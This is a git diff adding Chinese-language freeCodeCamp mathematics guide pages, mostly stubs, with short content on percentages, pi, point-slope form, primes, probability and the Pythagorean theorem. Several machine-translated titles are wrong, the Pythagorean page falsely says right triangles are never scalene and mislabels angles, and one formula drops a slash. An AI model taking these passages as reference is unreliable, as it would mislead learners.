diff --git a/client/src/guide/chinese/mathematics/number-theory/euclidean-division/index.md b/client/src/guide/chinese/mathematics/number-theory/euclidean-division/index.md
new file mode 100644
index 0000000000..cb6bbd762b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/euclidean-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Euclidean Division
+localeTitle: 欧几里德分部
+---
+## 欧几里德分部
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/euclidean-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/finding-prime-numbers/index.md b/client/src/guide/chinese/mathematics/number-theory/finding-prime-numbers/index.md
new file mode 100644
index 0000000000..b7cc574470
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/finding-prime-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Prime Numbers
+localeTitle: 寻找素数
+---
+## 寻找素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/finding-prime-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/floating-point-precision/index.md b/client/src/guide/chinese/mathematics/number-theory/floating-point-precision/index.md
new file mode 100644
index 0000000000..714c0b4f4c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/floating-point-precision/index.md
@@ -0,0 +1,11 @@
+---
+title: Floating Point Precision
+localeTitle: 浮点精度
+---
+## 浮点精度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/floating-point-precision/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md b/client/src/guide/chinese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
new file mode 100644
index 0000000000..f53d352329
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
@@ -0,0 +1,11 @@
+---
+title: Fundamental Theorem of Arithmetic
+localeTitle: 算术的基本定理
+---
+## 算术的基本定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/how-do-computers-use-binary/index.md b/client/src/guide/chinese/mathematics/number-theory/how-do-computers-use-binary/index.md
new file mode 100644
index 0000000000..99ae102d4a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/how-do-computers-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: How Do Computers Use Binary
+localeTitle: 计算机如何使用二进制
+---
+## 计算机如何使用二进制
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/how-do-computers-use-binary/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/index.md b/client/src/guide/chinese/mathematics/number-theory/index.md
new file mode 100644
index 0000000000..1602e1fe24
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Theory
+localeTitle: 数论
+---
+## 数论
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/prime-factorization/index.md b/client/src/guide/chinese/mathematics/number-theory/prime-factorization/index.md
new file mode 100644
index 0000000000..d11131cbf1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: 素数因子化
+---
+## 素数因子化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/prime-factorization/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/sieves/index.md b/client/src/guide/chinese/mathematics/number-theory/sieves/index.md
new file mode 100644
index 0000000000..cf33b8a5fc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/sieves/index.md
@@ -0,0 +1,11 @@
+---
+title: Sieves
+localeTitle: 分子筛
+---
+## 分子筛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/sieves/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/operations-on-functions/index.md b/client/src/guide/chinese/mathematics/operations-on-functions/index.md
new file mode 100644
index 0000000000..b9c271ecaf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/operations-on-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations on Functions
+localeTitle: 功能操作
+---
+## 功能操作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/operations-on-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/optimization-box-volume/index.md b/client/src/guide/chinese/mathematics/optimization-box-volume/index.md
new file mode 100644
index 0000000000..21299155e4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/optimization-box-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Box Volume
+localeTitle: 优化箱体积
+---
+## 优化箱体积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/optimization-box-volume/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/order-of-operations-pemdas/index.md b/client/src/guide/chinese/mathematics/order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..d5fb3f9497
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Pemdas
+localeTitle: 运营顺序Pemdas
+---
+## 运营顺序Pemdas
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/order-of-operations-pemdas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/partial-derivatives-introduction/index.md b/client/src/guide/chinese/mathematics/partial-derivatives-introduction/index.md
new file mode 100644
index 0000000000..483c560af6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/partial-derivatives-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Derivatives Introduction
+localeTitle: 部分衍生品介绍
+---
+## 部分衍生品介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-derivatives-introduction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/partial-fraction-decomposition-general-techniques/index.md b/client/src/guide/chinese/mathematics/partial-fraction-decomposition-general-techniques/index.md
new file mode 100644
index 0000000000..44b143c230
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/partial-fraction-decomposition-general-techniques/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Fraction Decomposition General Techniques
+localeTitle: 部分分解一般技术
+---
+## 部分分解一般技术
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-fraction-decomposition-general-techniques/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pascals-triangle/index.md b/client/src/guide/chinese/mathematics/pascals-triangle/index.md
new file mode 100644
index 0000000000..6439a253b3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pascals-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Pascals Triangle
+localeTitle: 帕斯卡三角
+---
+## 帕斯卡三角
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pascals-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pearsons-chi-square-test/index.md b/client/src/guide/chinese/mathematics/pearsons-chi-square-test/index.md
new file mode 100644
index 0000000000..75badc45b8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pearsons-chi-square-test/index.md
@@ -0,0 +1,11 @@
+---
+title: Pearsons Chi Square Test
+localeTitle: 皮尔逊池广场测试
+---
+## 皮尔逊池广场测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pearsons-chi-square-test/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/percent-of-a-whole-number/index.md b/client/src/guide/chinese/mathematics/percent-of-a-whole-number/index.md
new file mode 100644
index 0000000000..d76bbd0d18
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/percent-of-a-whole-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent of a Whole Number
+localeTitle: 整数的百分比
+---
+## 整数的百分比
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/percent-of-a-whole-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/percentage-change/index.md b/client/src/guide/chinese/mathematics/percentage-change/index.md
new file mode 100644
index 0000000000..e83a29d696
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/percentage-change/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Change
+localeTitle: 百分比变化
+---
+## 百分比变化
+
+从旧的减去旧的，然后除以旧的值。将其显示为百分比。
+```
+        (New Value − Old Value)/|Old Value| × 100% 
+        (The "|" symbols mean absolute value, so negatives become positive) 
+```
+
+示例：昨天有200个客户，今天有240个：
+```
+         (240 − 200)/|200| × 100% =  40/200 × 100% = 20% 
+                A 20% increase. 
+```
+
+示例：但如果昨天有240位客户，而今天有200位客户，我们会得到：
+```
+          (200 − 240)/|240| × 100% =   −40/240 × 100% = −16.6...% 
+                A 16.6...% decrease. 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/percentage-difference/index.md b/client/src/guide/chinese/mathematics/percentage-difference/index.md
new file mode 100644
index 0000000000..56b1c9025d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/percentage-difference/index.md
@@ -0,0 +1,41 @@
+---
+title: Percentage Difference
+localeTitle: 百分比差异
+---
+## 百分比差异
+
+两个值之间的差异除以两个值的平均值。显示为百分比。
+
+差异意味着从另一个值中减去一个值：
+
+例如：亚历克斯卖了15张票，而萨姆卖了25张 25和15之间的差异是：25 - 15 = 10
+
+平均值是中间值：
+```
+   average =  (first value + second value)/2 
+```
+
+示例续：
+```
+    The average of 25 and 15 is: (25 + 15) / 2 = 40/2 = 20 
+    And then the difference as a Percentage of the average: 
+```
+
+示例续：
+```
+    Difference is 25 − 15 = 10 
+    Average is (25 + 15) / 2 = 20 
+ 
+    10 as a percentage of 20 is: 
+    10/20  × 100% = 50% 
+ 
+    The percentage difference between 25 and 15 is 50% 
+```
+
+以下是答案：
+```
+    Example continued 
+    (25 − 15)/((25 + 15)/2)  × 100% = 50% 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/percentage-error/index.md b/client/src/guide/chinese/mathematics/percentage-error/index.md
new file mode 100644
index 0000000000..96d83c6166
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/percentage-error/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Error
+localeTitle: 百分比错误
+---
+## 百分比错误
+
+近似值和精确值之间的差异，作为精确值的百分比。
+```
+         (|Approximate Value − Exact Value|)/|Exact Value| * 100% 
+       (The "|" symbols mean absolute value, so negatives become positive) 
+```
+
+例如：我认为有70人会参加音乐会，但实际上有80人参加了演唱会！
+```
+        (|70 − 80|)/|80|    × 100% =  10/80 × 100% = 12.5% 
+          I was in error by 12.5% 
+```
+
+示例：报告称停车场有240辆车，但我们只计算了200个停车位。
+```
+        (|240 − 200|)/|200|    × 100% =  40200 × 100% = 20% 
+          The report had a 20% error. 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/perimeter-area-and-volume/index.md b/client/src/guide/chinese/mathematics/perimeter-area-and-volume/index.md
new file mode 100644
index 0000000000..3baf497c99
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/perimeter-area-and-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter Area and Volume
+localeTitle: 周长区域和体积
+---
+## 周长区域和体积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter-area-and-volume/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/perimeter/index.md b/client/src/guide/chinese/mathematics/perimeter/index.md
new file mode 100644
index 0000000000..6693b6d963
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/perimeter/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter
+localeTitle: 周长
+---
+## 周长
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/permutation-formula/index.md b/client/src/guide/chinese/mathematics/permutation-formula/index.md
new file mode 100644
index 0000000000..4deb27487a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/permutation-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutation Formula
+localeTitle: 置换公式
+---
+## 置换公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/permutation-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pi/index.md b/client/src/guide/chinese/mathematics/pi/index.md
new file mode 100644
index 0000000000..ab3a28576b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pi/index.md
@@ -0,0 +1,11 @@
+---
+title: PI
+localeTitle: PI
+---
+## PI
+
+`PI = 𝜋 = 3.14159265359`
+
+PI是一个数学常数，其值约等于3.14159265359。它被定义为`ratio of circumference of a circle to its diameter` 。 PI由希腊字母`𝜋`表示，广泛用于物理和数学。
+
+无论圆的大小如何，比率π=圆周/直径始终保持不变。例如，即使我们采用前一个圆的直径的两倍的新圆，那么新圆的圆周将恰好是前一个圆的两倍，保持π的值恒定。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/point-slope-equation-of-a-line/index.md b/client/src/guide/chinese/mathematics/point-slope-equation-of-a-line/index.md
new file mode 100644
index 0000000000..36ccc96b5f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/point-slope-equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Point Slope Equation of a Line
+localeTitle: 一条线的点斜率方程
+---
+## 一条线的点斜率方程
+
+对于线性方程，点斜率是y-y 1 = m（x-x 1）的一般形式。
+
+它强调线的斜率和线上的一个点（不是y轴截距）。
+
+![点斜率方程](https://www.mathsisfun.com/data/images/graph-point-slope-a.gif)
+
+## 求导
+
+线A（x，y）和B（x 1，y 1）上的任何两个点总是在同一斜率上。假设A是同一行上的任意点。 'm'被定义为线的斜率和线与正x轴的角度的正切。 两点之间的线的斜率由下式给出：
+
+m =（y - y 1）/（x - x 1）
+
+对于这种情况，其中m是线的斜率 简化我们得到 的y Y 1 = M（X-X 1）
+
+#### 更多信息：
+
+\- [可汗学院：点坡度方程](https://www.khanacademy.org/math/algebra/two-var-linear-equations/point-slope/v/idea-behind-point-slope-form)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/polar-and-cartesian-coordinates/index.md b/client/src/guide/chinese/mathematics/polar-and-cartesian-coordinates/index.md
new file mode 100644
index 0000000000..0a20074cee
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/polar-and-cartesian-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar and Cartesian Coordinates
+localeTitle: 极坐标和笛卡尔坐标
+---
+## 极坐标和笛卡尔坐标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-and-cartesian-coordinates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/polar-coordinates/index.md b/client/src/guide/chinese/mathematics/polar-coordinates/index.md
new file mode 100644
index 0000000000..4a15a14f34
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/polar-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar Coordinates
+localeTitle: 极坐标
+---
+## 极坐标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-coordinates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/polygons/index.md b/client/src/guide/chinese/mathematics/polygons/index.md
new file mode 100644
index 0000000000..612e1153b2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Polygons
+localeTitle: 多边形
+---
+## 多边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polygons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/polynomial-graphs-end-behavior/index.md b/client/src/guide/chinese/mathematics/polynomial-graphs-end-behavior/index.md
new file mode 100644
index 0000000000..909f18afe6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/polynomial-graphs-end-behavior/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomial Graphs End Behavior
+localeTitle: 多项式图结束行为
+---
+## 多项式图结束行为
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomial-graphs-end-behavior/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/polynomials-long-division/index.md b/client/src/guide/chinese/mathematics/polynomials-long-division/index.md
new file mode 100644
index 0000000000..6861dd5e1a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/polynomials-long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomials Long Division
+localeTitle: 多项式长分
+---
+## 多项式长分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomials-long-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/prime-factorization/index.md b/client/src/guide/chinese/mathematics/prime-factorization/index.md
new file mode 100644
index 0000000000..01d1f62e78
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: 素数因子化
+---
+## 素数因子化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-factorization/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/prime-number-list/index.md b/client/src/guide/chinese/mathematics/prime-number-list/index.md
new file mode 100644
index 0000000000..a849eb5785
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/prime-number-list/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number List
+localeTitle: 素数列表
+---
+## 素数列表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-number-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/prime-numbers/index.md b/client/src/guide/chinese/mathematics/prime-numbers/index.md
new file mode 100644
index 0000000000..2ecfe26b44
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/prime-numbers/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Numbers
+localeTitle: 质数
+---
+## 质数
+
+素数是大于1的任何数字，只能由1或其自身均分。如果它可以除以另一个数字，那么它就是一个复合数。
+
+例子：
+
+5是素数，因为它只能由它自己（5）和1均匀地分割。
+
+12是非素数，因为它可以被均匀地分成1,2,3,4,6和12。
+
+前十个素数是：2,3,5,7,11,13,17,19,23和29。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/probability/index.md b/client/src/guide/chinese/mathematics/probability/index.md
new file mode 100644
index 0000000000..93b6b87198
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: 可能性
+---
+## 可能性
+
+事件的概率是事件发生的可能性。
+
+概率通常在0到1之间，0表示事件永远不会发生，1表示某事件将发生。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/product-rule-intro/index.md b/client/src/guide/chinese/mathematics/product-rule-intro/index.md
new file mode 100644
index 0000000000..eb11454189
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/product-rule-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Product Rule Intro
+localeTitle: 产品规则介绍
+---
+## 产品规则介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/product-rule-intro/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md b/client/src/guide/chinese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
new file mode 100644
index 0000000000..44b25596b0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
@@ -0,0 +1,11 @@
+---
+title: Proof of Finite Arithmetic Series Formula by Induction
+localeTitle: 有限运算系数公式的证明
+---
+## 有限运算系数公式的证明
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md b/client/src/guide/chinese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
new file mode 100644
index 0000000000..330b24ca32
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Properties of Rhombuses Rectangles and Squares
+localeTitle: 菱形矩形和正方形的性质
+---
+## 菱形矩形和正方形的性质
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/propositional-logic/index.md b/client/src/guide/chinese/mathematics/propositional-logic/index.md
new file mode 100644
index 0000000000..fc555f1b7d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/propositional-logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Propositional Logic
+localeTitle: 命题逻辑
+---
+## 命题逻辑介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/propositional-logic/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/proving-trigonometric-identities/index.md b/client/src/guide/chinese/mathematics/proving-trigonometric-identities/index.md
new file mode 100644
index 0000000000..2a55389129
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/proving-trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Proving Trigonometric Identities
+localeTitle: 证明三角恒等式
+---
+## 证明三角恒等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proving-trigonometric-identities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pyramids/index.md b/client/src/guide/chinese/mathematics/pyramids/index.md
new file mode 100644
index 0000000000..52d670a306
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pyramids/index.md
@@ -0,0 +1,11 @@
+---
+title: Pyramids
+localeTitle: 金字塔
+---
+## 金字塔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pyramids/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pythagorean-theorem/index.md b/client/src/guide/chinese/mathematics/pythagorean-theorem/index.md
new file mode 100644
index 0000000000..d8db2b2a95
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pythagorean-theorem/index.md
@@ -0,0 +1,19 @@
+---
+title: Pythagorean Theorem
+localeTitle: 勾股定理
+---
+## 勾股定理
+
+毕达哥拉斯定理涉及直角三角形的三个边。直角三角形是三角形，其中一个角度是直角（90度角）。与直角相反的三角形边称为斜边。任何另外两个边都可以命名为“base”（b）和“vertical / height（a）”。与基部（b）相对的角度用'B'表示，而与垂直'A'相对的角度用'B'表示。由此，角度C为90度并且被称为直角三角形。
+
+直角三角形只能是等腰或标量。从不等边。
+
+设c为斜边的长度，a和b为其他边的长度。
+
+该定理指出：
+
+c 2 = a 2 + b 2
+
+无论何时给出直角三角形的两边，你都可以使用毕达哥拉斯定理来计算第三个边。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/pythagorean-triples/index.md b/client/src/guide/chinese/mathematics/pythagorean-triples/index.md
new file mode 100644
index 0000000000..5bc0dbfe1a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/pythagorean-triples/index.md
@@ -0,0 +1,11 @@
+---
+title: Pythagorean Triples
+localeTitle: 毕达哥拉斯三重奏
+---
+## 毕达哥拉斯三重奏
+
